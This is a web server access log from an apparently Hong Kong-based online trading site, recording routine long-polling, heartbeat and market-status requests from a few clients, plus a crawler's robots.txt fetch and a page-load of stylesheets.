[09/Jan/2026:11:04:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928125381 HTTP/1.1" -
[09/Jan/2026:11:04:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928128982 HTTP/1.1" -
[09/Jan/2026:11:04:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:04:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928144223 HTTP/1.1" -
[09/Jan/2026:11:04:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928130423 HTTP/1.1" -
[09/Jan/2026:11:04:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928134115 HTTP/1.1" -
[09/Jan/2026:11:04:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928149249 HTTP/1.1" -
[09/Jan/2026:11:04:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928135462 HTTP/1.1" -
[09/Jan/2026:11:04:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:04:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928139267 HTTP/1.1" -
[09/Jan/2026:11:04:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928154323 HTTP/1.1" -
[09/Jan/2026:11:04:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928140498 HTTP/1.1" -
[09/Jan/2026:11:04:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928144414 HTTP/1.1" -
[09/Jan/2026:11:04:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928159398 HTTP/1.1" -
[09/Jan/2026:11:04:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928145523 HTTP/1.1" -
[09/Jan/2026:11:04:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928149564 HTTP/1.1" -
[09/Jan/2026:11:04:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:04:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:04:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928164432 HTTP/1.1" -
[09/Jan/2026:11:04:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928150551 HTTP/1.1" -
[09/Jan/2026:11:04:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:04:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:04:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928154698 HTTP/1.1" -
[09/Jan/2026:11:04:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928169455 HTTP/1.1" -
[09/Jan/2026:11:04:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928155569 HTTP/1.1" -
[09/Jan/2026:11:04:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928159748 HTTP/1.1" -
[09/Jan/2026:11:04:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:04:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928174489 HTTP/1.1" -
[09/Jan/2026:11:04:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928160597 HTTP/1.1" -
[09/Jan/2026:11:04:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928164905 HTTP/1.1" -
[09/Jan/2026:11:04:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928179540 HTTP/1.1" -
[09/Jan/2026:11:04:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:04:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:04:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928165617 HTTP/1.1" -
[09/Jan/2026:11:04:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928170069 HTTP/1.1" -
[09/Jan/2026:11:05:00 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928184608 HTTP/1.1" -
[09/Jan/2026:11:05:01 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928170660 HTTP/1.1" -
[09/Jan/2026:11:05:03 +0800] 18.207.153.168 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:11:05:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928175277 HTTP/1.1" -
[09/Jan/2026:11:05:04 +0800] 34.201.52.155 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /robots.txt HTTP/1.1" 196
[09/Jan/2026:11:05:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928189670 HTTP/1.1" -
[09/Jan/2026:11:05:06 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928175683 HTTP/1.1" -
[09/Jan/2026:11:05:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928180416 HTTP/1.1" -
[09/Jan/2026:11:05:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:05:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928194740 HTTP/1.1" -
[09/Jan/2026:11:05:11 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928180731 HTTP/1.1" -
[09/Jan/2026:11:05:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:05:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928185548 HTTP/1.1" -
[09/Jan/2026:11:05:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928199763 HTTP/1.1" -
[09/Jan/2026:11:05:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928185772 HTTP/1.1" -
[09/Jan/2026:11:05:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928190599 HTTP/1.1" -
[09/Jan/2026:11:05:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928204792 HTTP/1.1" -
[09/Jan/2026:11:05:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928190798 HTTP/1.1" -
[09/Jan/2026:11:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928195660 HTTP/1.1" -
[09/Jan/2026:11:05:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928209848 HTTP/1.1" -
[09/Jan/2026:11:05:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:05:26 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928195826 HTTP/1.1" -
[09/Jan/2026:11:05:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928200813 HTTP/1.1" -
[09/Jan/2026:11:05:31 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928214905 HTTP/1.1" -
[09/Jan/2026:11:05:31 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928200851 HTTP/1.1" -
[09/Jan/2026:11:05:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928205946 HTTP/1.1" -
[09/Jan/2026:11:05:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928219967 HTTP/1.1" -
[09/Jan/2026:11:05:36 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928205892 HTTP/1.1" -
[09/Jan/2026:11:05:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928211096 HTTP/1.1" -
[09/Jan/2026:11:05:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:05:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928225023 HTTP/1.1" -
[09/Jan/2026:11:05:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928210923 HTTP/1.1" -
[09/Jan/2026:11:05:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:11:05:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:11:05:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:11:05:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767928216227 HTTP/1.1" -
[09/Jan/2026:11:05:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:11:05:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
